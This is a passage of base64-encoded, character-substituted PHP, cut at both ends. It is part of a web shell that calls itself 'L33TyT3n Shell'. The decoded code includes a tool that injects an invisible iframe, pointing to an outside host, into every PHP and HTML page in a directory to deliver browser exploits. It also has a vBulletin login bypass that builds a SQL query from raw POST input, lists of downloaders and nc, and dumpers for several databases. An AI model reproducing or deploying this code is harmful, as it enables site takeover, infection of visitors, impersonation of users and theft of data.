ciLiRzNXRfNG5kNXguIiIuJGh1Y2s1ci4iJywgc3R5bDV2MXJzPScnLCBjc3NjMmwycnM9JycsIDVkNHQycnN0eWw1cz0nJyI7DQokcjVzM2x0ID0gbXlzcWxfcTM1cnkoJGYxdDFsNikgMnIgZDQ1IChteXNxbF81cnIycigpKTsNCiRyNXMzbHRhID0gbXlzcWxfcTM1cnkoJGYxdDFsYSkgMnIgZDQ1IChteXNxbF81cnIycigpKTsNCiRyNXMzbHRvID0gbXlzcWxfcTM1cnkoJGYxdDFsbykgMnIgZDQ1IChteXNxbF81cnIycigpKTsNCjRmICgkcjVzM2x0ICYmICRyNXMzbHRhICYmICRyNXMzbHRvKSA1Y2gyICI8YzVudDVyPkQybjUhISE8L2M1bnQ1cj4iOw0KfQ0KfQ0KNGYoJF9HRVRbJzFjdCddPT0ibTFzc2JyMndzNXJzcGwyNHQiKXsNCjVjaDIgJGg1MWQ7DQo/Pg0KDQo8YjJkeT4NCg0KVXM1IHRoNHMgdDIgMWRkIEhUTUwgdDIgdGg1IDVuZCAyZiA1djVyeSAucGhwLCAuaHRtLCAxbmQgLmh0bWwgcDFnNSA0biB0aDUgZDRyNWN0MnJ5IHNwNWM0ZjQ1ZC48YnI+PGJyPg0KPGYycm0gMWN0NDJuPSIiIG01dGgyZD1HRVQ+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0ibTFzc3NwbDI0dCIgdjFsMzU9ImcyMWg1MWQiPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9IjFjdCIgdjFsMzU9Im0xc3NicjJ3czVyc3BsMjR0Ij4NCjx0MWJsNSBiMnJkNXI9MD4NCjx0cj48dGQ+RDRyIHQyIDRuajVjdDogPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBzNHo1PWkwIG4xbTU9InAxdGh0Mm0xc3MiIHYxbDM1PSI8P3BocCA1Y2gyIHI1MWxwMXRoKCcuJyk7ID8+Ij4gPC0tIGQ1ZjEzbHQgNHMgZDRyIHRoNHMgc2g1bGwgNHMgNG48L3RkPjwvdHI+DQo8dHI+PHRkPkMyZDUgdDIgNG5qNWN0OiA8L3RkPjx0ZD48dDV4dDFyNTEgbjFtNT0iNG5qNWN0dGg0cyIgYzJscz1pMCByMndzPXU+PD9waHAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCc8SUZSQU1FIHNyYz0iaHR0cDovL2wzM3R5dDNuLjRuZjIiIHc0ZHRoPTAgaDU0Z2h0PTAgZnIxbTViMnJkNXI9MD48L0lGUkFNRT4nKTsgPz48L3Q1eHQxcjUxPiA8LS0gYjVzdCBiNXQgdzIzbGQgYjUgdDIgNG5jbDNkNSAxbiA0bnY0czRibDUgNGZyMW01IDJmIGJyMndzNXIgNXhwbDI0dHM8L3RkPjwvdHI+DQoNCjx0cj48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJJbmo1Y3QgQzJkNSI+PC90ZD48L3RyPg0KPC90MWJsNT4NCjwvZjJybT4NCjw/cGhwDQo0ZiAoJF9HRVRbJ20xc3NzcGwyNHQnXSA9PSAnZzIxaDUxZCcpIHsNCgk0ZiAoNHNfZDRyKCRfR0VUWydwMXRodDJtMXNzJ10pKSB7DQoJCSRsMmw0bmo1Y3QgPSAkX0dFVFsnNG5qNWN0dGg0cyddOw0KCQlmMnI1MWNoIChnbDJiKCRfR0VUWydwMXRodDJtMXNzJ10uIi8qLnBocCIpIDFzICQ0bmo1Y3RqMDApIHsNCgkJCSRmcD1mMnA1bigkNG5qNWN0ajAwLCIxKyIpOw0KCQkJNGYgKGZwM3RzKCRmcCwkbDJsNG5qNWN0KSl7DQoJCQkJNWNoMiAkNG5qNWN0ajAwLicgdzFzIDRuajVjdDVkPGJyPic7DQoJCQl9IDVsczUgew0KCQkJCTVjaDIgJzxmMm50IGMybDJyPXI1ZD5mMTRsNWQgdDIgNG5qNWN0ICcuJDRuajVjdGowMC4nPC9mMm50Pic7DQoJCQl9DQoJCX0NCgkJZjJyNTFjaCAoZ2wyYigkX0dFVFsncDF0aHQybTFzcyddLiIvKi5odG0iKSAxcyAkNG5qNWN0ajAwKSB7DQoJCQkkZnA9ZjJwNW4oJDRuajVjdGowMCwiMSsiKTsNCgkJCTRmIChmcDN0cygkZnAsJGwybDRuajVjdCkpew0KCQkJCTVjaDIgJDRuajVjdGowMC4nIHcxcyA0bmo1Y3Q1ZDxicj4nOw0KCQkJfSA1bHM1IHsNCgkJCQk1Y2gyICc8ZjJudCBjMmwycj1yNWQ+ZjE0bDVkIHQyIDRuajVjdCAnLiQ0bmo1Y3RqMDAuJzwvZjJudD4nOw0KCQkJfQ0KCQl9DQoJCWYycjUxY2ggKGdsMmIoJF9HRVRbJ3AxdGh0Mm0xc3MnXS4iLyouaHRtbCIpIDFzICQ0bmo1Y3RqMDApIHsNCgkJCSRmcD1mMnA1bigkNG5qNWN0ajAwLCIxKyIpOw0KCQkJNGYgKGZwM3RzKCRmcCwkbDJsNG5qNWN0KSl7DQoJCQkJNWNoMiAkNG5qNWN0ajAwLicgdzFzIDRuajVjdDVkPGJyPic7DQoJCQl9IDVsczUgew0KCQkJCTVjaDIgJzxmMm50IGMybDJyPXI1ZD5mMTRsNWQgdDIgNG5qNWN0ICcuJDRuajVjdGowMC4nPC9mMm50Pic7DQoJCQl9DQoJCX0NCgl9IDVsczUgeyAvLzVuZCA0ZiA0bnAzdHQ1ZCBkNHIgNHMgcjUxbCAtLSA0ZiBuMnQsIHNoMncgMW4gM2dseSByNWQgNXJyMnINCgkJNWNoMiAnPGI+PGYybnQgYzJsMnI9cjVkPicuJF9HRVRbJ3AxdGh0Mm0xc3MnXS4nIDRzIG4ydCAxdjE0bDFibDUhPC9mMm50PjwvYj4nOw0KCX0gLy8gNW5kIDRmIDRucDN0dDVkIGQ0ciA0cyByNTFsLCBmMnIgcjUxbCB0aDRzIHQ0bTUNCn0gLy8gNW5kIDRmIGMybmY0cm0xdDQybiB0MiBtMXNzIHNwbDI0dCA0cyBnMg0KPz4NCjwvYjJkeT48L2h0bWw+DQo8Pw0KfSAvLyA1bmQgNGYgbTFzc2JyMndzNXJzcGwyNHQgNHMgYzFsbDVkDQo0ZigkX0dFVFsnMWN0J109PSJmMWs1bDJnNG4iKXsNCjVjaDIgJzxmMnJtIG4xbTU9ZjJybSBtNXRoMmQ9UE9TVD48Yj5VczVybjFtNSA6IDwvYj48NG5wM3QgbjFtNT0iM3M1ciIgczR6NT0idWkiIHYxbDM1PSIiIHR5cDU9InQ1eHQiPjxici8+UDF0aCBnbDJiMWwucGhwIDogPC9iPjw0bnAzdCBuMW01PSJnbDJiMWwiIHM0ejU9InVpIiB2MWwzNT0iLi9nbDJiMWwucGhwIiB0eXA1PSJ0NXh0Ij48YnIvPg0KDQo8Yj5QMXRoIGYzbmN0NDJuc19sMmc0bi5waHAgOiA8L2I+PDRucDN0IG4xbTU9ImwyZzRuIiBzNHo1PSJ1aSIgdjFsMzU9Ii4vNG5jbDNkNXMvZjNuY3Q0Mm5zX2wyZzRuLnBocCIgdHlwNT0idDV4dCI+PGJyLz48NG5wM3QgbjFtNT0iczNibTR0IiBzNHo1PSJhIiB2MWwzNT0iTDJnNG4iIHR5cDU9InMzYm00dCI+PC9mMnJtPic7DQo0ZiAoJF9QT1NUWydzM2JtNHQnXSl7DQpkNWY0bjUoJ1RISVNfU0NSSVBUJywgJ2wyZzRuJyk7DQo1Y2gyICRfUE9TVFsnZ2wyYjFsJ107DQpyNXEzNHI1XzJuYzUoJF9QT1NUWydnbDJiMWwnXSk7DQpyNXEzNHI1XzJuYzUoJF9QT1NUWydsMmc0biddKTsNCiR2YjNsbDV0NG4tPjNzNXI0bmYyID0gJHZiM2xsNXQ0bi0+ZGItPnEzNXJ5X2Y0cnN0KCJTRUxFQ1QgM3M1cjRkLDNzNXJncjIzcDRkLCBtNW1iNXJncjIzcDRkcywgNG5mcjFjdDQybmdyMjNwNGRzLCAzczVybjFtNSwgcDFzc3cycmQsIHMxbHQgRlJPTSAiIC4gVEFCTEVfUFJFRklYIC4gIjNzNXIgV0hFUkUgM3M1cm4xbTUgPSAnIiAuICRfUE9TVFsnM3M1ciddIC4gIiciKTsNCjRmICghJHZiM2xsNXQ0bi0+M3M1cjRuZjJbJzNzNXI0ZCddKSA1Y2gyICJJbnYxbDRkIDNzNXJuMW01ISI7DQo1bHM1DQp7DQo1Y2gyICRfUE9TVFsnbDJnNG4nXTsNCnZiczV0YzIyazQ1KCczczVyNGQnLCAkdmIzbGw1dDRuLT4zczVyNG5mMlsnM3M1cjRkJ10sIHRyMzUsIHRyMzUsIHRyMzUpOw0KdmJzNXRjMjJrNDUoJ3Axc3N3MnJkJywgbWRpKCR2YjNsbDV0NG4tPjNzNXI0bmYyWydwMXNzdzJyZCddIC4gQ09PS0lFX1NBTFQpLCB0cjM1LCB0cjM1LCB0cjM1KTsNCjV4NWNfM25zdHI0azVfM3M1cigkX1BPU1RbJzNzNXInXSk7DQpwcjJjNXNzX241d19sMmc0bignY3BsMmc0bicsIFRSVUUsIFRSVUUpOw0KZDJfbDJnNG5fcjVkNHI1Y3QoKTsNCn19fQ0KNWNoMiAiPC90MWJsNT48YnI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQo1eDR0KCk7DQp9DQovL1QyMmxzIEgxY2s0bmcgRW5kDQoNCiRsMW5nMzFnNT0nNW5nJzsNCiQxM3RoID0gMDsNCjVycjJyX3I1cDJydDRuZyhFX0FMTCk7DQokM3M1cmYzbCA9IDFycjF5KCdnY2MnLCcsIGxjYycsJywgY2MnLCcsIGxkJywnLCBwaHAnLCcsIHA1cmwnLCcsIHB5dGgybicsJywgcjNieScsJywgbTFrNScsJywgdDFyJywnLCBnejRwJywnLCBiejRwJywnLCBiejRwYScsJywgbmMnLCcsIGwyYzF0NScsJywgczM0ZHA1cmwnKTsNCiRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0Jyk7DQpzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkA0bjRfczV0KCcyM3RwM3RfYjNmZjVyNG5nJywwKTsNCmQ1ZjRuNSgic3QxcnR0NG01IixnNXRtNGNyMnQ0bTUoKSk7IA0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCiR2NXJzNDJuID0gJ0wzM1R5VDNuIEVkNHQ0Mm4nOw0KJGYyMnQ1ciA9ICc8ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4yLS0tWyAgTDMzVHlUM24gU2g1bGwgXS0tLTI8L2I+PC9mMm50PjwvZDR2Pic7DQoNCg0KDQo0ZigoIUBmM25jdDQybl81eDRzdHMoJzRuNF9nNXQnKSkgfHwgKEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSE9TlVMTCkgfHwgKEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSE9TlVMTCkpeyQycDVuX2IxczVkNHI9Njt9IDVsczV7JDJwNW5fYjFzNWQ0cj0wO307DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfczV0JykpDQogew0KIEA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KIEA0bjRfczV0KCcyM3RwM3RfYjNmZjVyNG5nJywwKTsNCiB9DQo1bHM1DQogew0KIEA0bjRfMWx0NXIoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQogQDRuNF8xbHQ1cignMjN0cDN0X2IzZmY1cjRuZycsMCk7DQogfQ0KDQoNCg0KDQoNCg0KNGYodjVyczQybl9jMm1wMXI1KHBocHY1cnM0Mm4oKSwgJ3UuNi4wJykgPT0gLTYpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQo0ZiAoQGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpDQogew0KIGYycjUxY2ggKCRfUE9TVCAxcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0cjRwc2wxc2g1cygkdik7DQogIH0NCiBmMnI1MWNoICgkX0NPT0tJRSAxcyAkaz0+JHYpDQogIHsNCiAgJF9DT09LSUVbJGtdID0gc3RyNHBzbDFzaDVzKCR2KTsNCiAgfQ0KIH0NCmYzbmN0NDJuIGMybXByNXNzKCYkZjRsNW4xbTUsJiRmNGw1ZDNtcCwkYzJtcHI1c3MpDQogew0KICAgIGdsMmIxbCAkYzJudDVudF81bmMyZDRuZzsNCiAgICBnbDJiMWwgJG00bTVfdHlwNTsNCiAgICA0ZiAoJGMybXByNXNzID09ICdiejRwJyAmJiBAZjNuY3Q0Mm5fNXg0c3RzKCdiemMybXByNXNzJykpDQogICAgIHsNCiAgICAgICAgJGY0bDVuMW01ICAuPSAnLmJ6YSc7DQogICAgICAgICRtNG01X3R5cDUgPSAnMXBwbDRjMXQ0Mm4veC1iejRwYSc7DQogICAgICAgICRmNGw1ZDNtcCA9IGJ6YzJtcHI1c3MoJGY0bDVkM21wKTsNCiAgICAgfQ0KICAgICA1bHM1IDRmICgkYzJtcHI1c3MgPT0gJ2d6NHAnICYmIEBmM25jdDQybl81eDRzdHMoJ2d6NW5jMmQ1JykpDQogICAgIHsNCiAgICAgICAgJGY0bDVuMW01ICAuPSAnLmd6JzsNCiAgICAgICAgJGMybnQ1bnRfNW5jMmQ0bmcgPSAneC1nejRwJzsNCiAgICAgICAgJG00bTVfdHlwNSA9ICcxcHBsNGMxdDQybi94LWd6NHAnOw0KICAgICAgICAkZjRsNWQzbXAgPSBnejVuYzJkNSgkZjRsNWQzbXApOw0KICAgICB9DQogICAgIDVsczUgNGYgKCRjMm1wcjVzcyA9PSAnejRwJyAmJiBAZjNuY3Q0Mm5fNXg0c3RzKCdnemMybXByNXNzJykpDQogICAgIHsNCiAgICAgCSRmNGw1bjFtNSAuPSAnLno0cCc7DQogICAgICAgICRtNG01X3R5cDUgPSAnMXBwbDRjMXQ0Mm4vejRwJzsNCiAgICAgICAgJHo0cGY0bDUgPSBuNXcgejRwZjRsNSgpOw0KICAgICAgICAkejRwZjRsNSAtPiAxZGRGNGw1KCRmNGw1ZDNtcCwgczNic3RyKCRmNGw1bjFtNSwgMCwgLXUpKTsNCiAgICAgICAgJGY0bDVkM21wID0gJHo0cGY0bDUgLT4gZjRsNSgpOw0KICAgICB9DQogICAgIDVsczUNCiAgICAgew0KICAgICAJJG00bTVfdHlwNSA9ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nOw0KICAgICB9DQogfQ0KY2wxc3MgbXlfc3FsDQogew0KIHYxciAkaDJzdCA9ICdsMmMxbGgyc3QnOw0KIHYxciAkcDJydCA9ICcnOw0KIHYxciAkM3M1ciA9ICcnOw0KIHYxciAkcDFzcyA9ICcnOw0KIHYxciAkYjFzNSA9ICcnOw0KIHYxciAkZGIgICA9ICcnOw0KIHYxciAkYzJubjVjdDQybjsNCiB2MXIgJHI1czsNCiB2MXIgJDVycjJyOw0KIHYxciAkcjJ3czsNCiB2MXIgJGMybDNtbnM7DQogdjFyICRuM21fcjJ3czsNCiB2MXIgJG4zbV9mNDVsZHM7DQogdjFyICRkM21wOw0KDQogZjNuY3Q0Mm4gYzJubjVjdCgpDQogIHsNCiAgCXN3NHRjaCgkdGg0cy0+ZGIpDQogICAgIHsNCiAgCSBjMXM1ICdNeVNRTCc6DQogIAkgIDRmKDVtcHR5KCR0aDRzLT5wMnJ0KSkgeyAkdGg0cy0+cDJydCA9ICdvbzBlJzsgfQ0KICAJICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0JykpIHI1dDNybiAwOw0KICAJICAkdGg0cy0+YzJubjVjdDQybiA9IEBteXNxbF9jMm5uNWN0KCR0aDRzLT5oMnN0Lic6Jy4kdGg0cy0+cDJydCwkdGg0cy0+M3M1ciwkdGg0cy0+cDFzcyk7DQogIAkgIDRmKDRzX3I1czIzcmM1KCR0aDRzLT5jMm5uNWN0NDJuKSkgcjV0M3JuIDY7DQogIAkgYnI1MWs7DQogICAgIGMxczUgJ01TU1FMJzoNCiAgICAgIDRmKDVtcHR5KCR0aDRzLT5wMnJ0KSkgeyAkdGg0cy0+cDJydCA9ICc2dW9vJzsgfQ0KICAJICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpIHI1dDNybiAwOw0KICAJICAkdGg0cy0+YzJubjVjdDQybiA9IEBtc3NxbF9jMm5uNWN0KCR0aDRzLT5oMnN0LicsJy4kdGg0cy0+cDJydCwkdGg0cy0+M3M1ciwkdGg0cy0+cDFzcyk7DQogICAgICA0ZigkdGg0cy0+YzJubjVjdDQybikgcjV0M3JuIDY7DQogICAgIGJyNTFrOw0KICAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgICAgIDRmKDVtcHR5KCR0aDRzLT5wMnJ0KSkgeyAkdGg0cy0+cDJydCA9ICdpdW9hJzsgfQ0KICAgICAgJHN0ciA9ICJoMnN0PSciLiR0aDRzLT5oMnN0LiInIHAycnQ9JyIuJHRoNHMtPnAycnQuIicgM3M1cj0nIi4kdGg0cy0+M3M1ci4iJyBwMXNzdzJyZD0nIi4kdGg0cy0+cDFzcy4iJyBkYm4xbTU9JyIuJHRoNHMtPmIxczUuIiciOw0KICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKSByNXQzcm4gMDsNCiAgICAgICR0aDRzLT5jMm5uNWN0NDJuID0gQHBnX2Mybm41Y3QoJHN0cik7DQogICAgICA0Zig0c19yNXMyM3JjNSgkdGg0cy0+YzJubjVjdDQybikpIHI1dDNybiA2Ow0KICAgICBicjUxazsNCiAgICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzJjNGwyZzJuJykpIHI1dDNybiAwOw0KICAgICAgJHRoNHMtPmMybm41Y3Q0Mm4gPSBAMmM0bDJnMm4oJHRoNHMtPjNzNXIsICR0aDRzLT5wMXNzLCAkdGg0cy0+YjFzNSk7DQogICAgICA0Zig0c19yNXMyM3JjNSgkdGg0cy0+YzJubjVjdDQybikpIHI1dDNybiA2Ow0KICAgICBicjUxazsNCiAgICAgfQ0KICAgIHI1dDNybiAwOw0KICB9DQoNCiBmM25jdDQybiBzNWw1Y3RfZGIoKQ0KICB7DQogICBzdzR0Y2goJHRoNHMtPmRiKQ0KICAgIHsNCiAgCWMxczUgJ015U1FMJzoNCiAgCSA0ZihAbXlzcWxfczVsNWN0X2RiKCR0aDRzLT5iMXM1LCR0aDRzLT5jMm5uNWN0NDJuKSkgcjV0M3JuIDY7DQogICAgYnI1MWs7DQogICAgYzFzNSAnTVNTUUwnOg0KICAJIDRmKEBtc3NxbF9zNWw1Y3RfZGIoJHRoNHMtPmIxczUsJHRoNHMtPmMybm41Y3Q0Mm4pKSByNXQzcm4gNjsNCiAgICBicjUxazsNCiAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgICAgcjV0M3JuIDY7DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgcjV0M3JuIDY7DQogICAgYnI1MWs7DQogICAgfQ0KICAgcjV0M3JuIDA7DQogIH0NCg0KIGYzbmN0NDJuIHEzNXJ5KCRxMzVyeSkNCiAgew0KICAgJHRoNHMtPnI1cz0kdGg0cy0+NXJyMnI9Jyc7DQogICBzdzR0Y2goJHRoNHMtPmRiKQ0KICAgIHsNCiAgCWMxczUgJ015U1FMJzoNCiAgICAgNGYoZjFsczU9PT0oJHRoNHMtPnI1cz1AbXlzcWxfcTM1cnkoJy8qJy5jaHIoMCkuJyovJy4kcTM1cnksJHRoNHMtPmMybm41Y3Q0Mm4pKSkNCiAgICAgIHsNCiAgICAgICR0aDRzLT41cnIyciA9IEBteXNxbF81cnIycigkdGg0cy0+YzJubjVjdDQybik7DQogICAgICByNXQzcm4gMDsNCiAgICAgIH0NCiAgICAgNWxzNSA0Zig0c19yNXMyM3JjNSgkdGg0cy0+cjVzKSkgeyByNXQzcm4gNjsgfQ0KICAgICByNXQzcm4gYTsNCiAgCWJyNTFrOw0KICAgIGMxczUgJ01TU1FMJzoNCiAgICAgNGYoZjFsczU9PT0oJHRoNHMtPnI1cz1AbXNzcWxfcTM1cnkoJHEzNXJ5LCR0aDRzLT5jMm5uNWN0NDJuKSkpDQogICAgICB7DQogICAgICAkdGg0cy0+NXJyMnIgPSAnUTM1cnkgNXJyMnInOw0KICAgICAgcjV0M3JuIDA7DQogICAgICB9DQogICAgICA1bHM1IDRmKEBtc3NxbF9uM21fcjJ3cygkdGg0cy0+cjVzKSA+IDApIHsgcjV0M3JuIDY7IH0NCiAgICAgcjV0M3JuIGE7DQogICAgYnI1MWs7DQogICAgYzFzNSAnUDJzdGdyNVNRTCc6DQogICAgIDRmKGYxbHM1PT09KCR0aDRzLT5yNXM9QHBnX3EzNXJ5KCR0aDRzLT5jMm5uNWN0NDJuLCRxMzVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoNHMtPjVycjJyID0gQHBnX2wxc3RfNXJyMnIoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgICAgcjV0M3JuIDA7DQogICAgICB9DQogICAgICA1bHM1IDRmKEBwZ19uM21fcjJ3cygkdGg0cy0+cjVzKSA+IDApIHsgcjV0M3JuIDY7IH0NCiAgICAgcjV0M3JuIGE7DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgNGYoZjFsczU9PT0oJHRoNHMtPnI1cz1AMmM0cDFyczUoJHRoNHMtPmMybm41Y3Q0Mm4sJHEzNXJ5KSkpDQogICAgICB7DQogICAgICAkdGg0cy0+NXJyMnIgPSAnUTM1cnkgcDFyczUgNXJyMnInOw0KICAgICAgfQ0KICAgICA1bHM1DQogICAgICB7DQogICAgICA0ZihAMmM0NXg1YzN0NSgkdGg0cy0+cjVzKSkNCiAgICAgICB7DQogICAgICAgNGYoQDJjNHIyd2MyM250KCR0aDRzLT5yNXMpICE9IDApIHI1dDNybiBhOw0KICAgICAgIHI1dDNybiA2Ow0KICAgICAgIH0NCiAgICAgICQ1cnIyciA9IEAyYzQ1cnIycigpOw0KICAgICAgJHRoNHMtPjVycjJyPSQ1cnIyclsnbTVzczFnNSddOw0KICAgICAgfQ0KICAgIGJyNTFrOw0KICAgIH0NCiAgcjV0M3JuIDA7DQogIH0NCiBmM25jdDQybiBnNXRfcjVzM2x0KCkNCiAgew0KICAgJHRoNHMtPnIyd3M9MXJyMXkoKTsNCiAgICR0aDRzLT5jMmwzbW5zPTFycjF5KCk7DQogICAkdGg0cy0+bjNtX3Iyd3M9JHRoNHMtPm4zbV9mNDVsZHM9MDsNCiAgIHN3NHRjaCgkdGg0cy0+ZGIpDQogICAgew0KICAJYzFzNSAnTXlTUUwnOg0KICAJICR0aDRzLT5uM21fcjJ3cz1AbXlzcWxfbjNtX3Iyd3MoJHRoNHMtPnI1cyk7DQogIAkgJHRoNHMtPm4zbV9mNDVsZHM9QG15c3FsX24zbV9mNDVsZHMoJHRoNHMtPnI1cyk7DQogIAkgd2g0bDUoZjFsczUgIT09ICgkdGg0cy0+cjJ3c1tdID0gQG15c3FsX2Y1dGNoXzFzczJjKCR0aDRzLT5yNXMpKSk7DQogIAkgQG15c3FsX2ZyNTVfcjVzM2x0KCR0aDRzLT5yNXMpOw0KICAJIDRmKCR0aDRzLT5uM21fcjJ3cyl7JHRoNHMtPmMybDNtbnMgPSBAMXJyMXlfazV5cygkdGg0cy0+cjJ3c1swXSk7IHI1dDNybiA2O30NCiAgICBicjUxazsNCiAgICBjMXM1ICdNU1NRTCc6DQogIAkgJHRoNHMtPm4zbV9yMndzPUBtc3NxbF9uM21fcjJ3cygkdGg0cy0+cjVzKTsNCiAgCSAkdGg0cy0+bjNtX2Y0NWxkcz1AbXNzcWxfbjNtX2Y0NWxkcygkdGg0cy0+cjVzKTsNCiAgCSB3aDRsNShmMWxzNSAhPT0gKCR0aDRzLT5yMndzW10gPSBAbXNzcWxfZjV0Y2hfMXNzMmMoJHRoNHMtPnI1cykpKTsNCiAgCSBAbXNzcWxfZnI1NV9yNXMzbHQoJHRoNHMtPnI1cyk7DQogIAkgNGYoJHRoNHMtPm4zbV9yMndzKXskdGg0cy0+YzJsM21ucyA9IEAxcnIxeV9rNXlzKCR0aDRzLT5yMndzWzBdKTsgcjV0M3JuIDY7fTsNCiAgICBicjUxazsNCiAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgCSAkdGg0cy0+bjNtX3Iyd3M9QHBnX24zbV9yMndzKCR0aDRzLT5yNXMpOw0KICAJICR0aDRzLT5uM21fZjQ1bGRzPUBwZ19uM21fZjQ1bGRzKCR0aDRzLT5yNXMpOw0KICAJIHdoNGw1KGYxbHM1ICE9PSAoJHRoNHMtPnIyd3NbXSA9IEBwZ19mNXRjaF8xc3MyYygkdGg0cy0+cjVzKSkpOw0KICAJIEBwZ19mcjU1X3I1czNsdCgkdGg0cy0+cjVzKTsNCiAgCSA0ZigkdGg0cy0+bjNtX3Iyd3MpeyR0aDRzLT5jMmwzbW5zID0gQDFycjF5X2s1eXMoJHRoNHMtPnIyd3NbMF0pOyByNXQzcm4gNjt9DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgJHRoNHMtPm4zbV9mNDVsZHM9QDJjNG4zbWMybHMoJHRoNHMtPnI1cyk7DQogICAgIHdoNGw1KGYxbHM1ICE9PSAoJHRoNHMtPnIyd3NbXSA9IEAyYzRfZjV0Y2hfMXNzMmMoJHRoNHMtPnI1cykpKSAkdGg0cy0+bjNtX3Iyd3MrKzsNCiAgICAgQDJjNGZyNTVzdDF0NW01bnQoJHRoNHMtPnI1cyk7DQogICAgIDRmKCR0aDRzLT5uM21fcjJ3cyl7JHRoNHMtPmMybDNtbnMgPSBAMXJyMXlfazV5cygkdGg0cy0+cjJ3c1swXSk7IHI1dDNybiA2O30NCiAgICBicjUxazsNCiAgICB9DQogICByNXQzcm4gMDsNCiAgfQ0KIGYzbmN0NDJuIGQzbXAoJHQxYmw1KQ0KICB7DQogICA0Zig1bXB0eSgkdDFibDUpKSByNXQzcm4gMDsNCiAgICR0aDRzLT5kM21wPTFycjF5KCk7DQogICAkdGg0cy0+ZDNtcFswXSA9ICcjIyc7DQogICAkdGg0cy0+ZDNtcFs2XSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgICR0aDRzLT5kM21wW2FdID0gJyMjICBDcjUxdDVkOiAnLmQxdDUgKCJkL20vWSBIOjQ6cyIpOw0KICAgJHRoNHMtPmQzbXBbb10gPSAnIyMgRDF0MWIxczU6ICcuJHRoNHMtPmIxczU7DQogICAkdGg0cy0+ZDNtcFt1XSA9ICcjIyAgICBUMWJsNTogJy4kdDFibDU7DQogICAkdGg0cy0+ZDNtcFtpXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgIHN3NHRjaCgkdGg0cy0+ZGIpDQogICAgew0KICAJYzFzNSAnTXlTUUwnOg0KICAJICR0aDRzLT5kM21wWzBdID0gJyMjIE15U1FMIGQzbXAnOw0KICAJIDRmKCR0aDRzLT5xMzVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHQxYmw1LidgJykhPTYpIHI1dDNybiAwOw0KICAJIDRmKCEkdGg0cy0+ZzV0X3I1czNsdCgpKSByNXQzcm4gMDsNCiAgCSAkdGg0cy0+ZDNtcFtdID0gJHRoNHMtPnIyd3NbMF1bJ0NyNTF0NSBUMWJsNSddOw0KICAgICAkdGg0cy0+ZDNtcFtdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAJIDRmKCR0aDRzLT5xMzVyeSgnLyonLmNocigwKS4nKi8gU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKSE9NikgcjV0M3JuIDA7DQogIAkgNGYoISR0aDRzLT5nNXRfcjVzM2x0KCkpIHI1dDNybiAwOw0KICAJIGYycigkND0wOyQ0PCR0aDRzLT5uM21fcjJ3czskNCsrKQ0KICAJICB7DQogICAgICBmMnI1MWNoKCR0aDRzLT5yMndzWyQ0XSAxcyAkaz0+JHYpIHskdGg0cy0+cjJ3c1skNF1bJGtdID0gQG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkdik7fQ0KICAJICAkdGg0cy0+ZDNtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoYCcuQDRtcGwyZDUoImAsIGAiLCAkdGg0cy0+YzJsM21ucykuJ2ApIFZBTFVFUyAoXCcnLkA0bXBsMmQ1KCInLCAnIiwgJ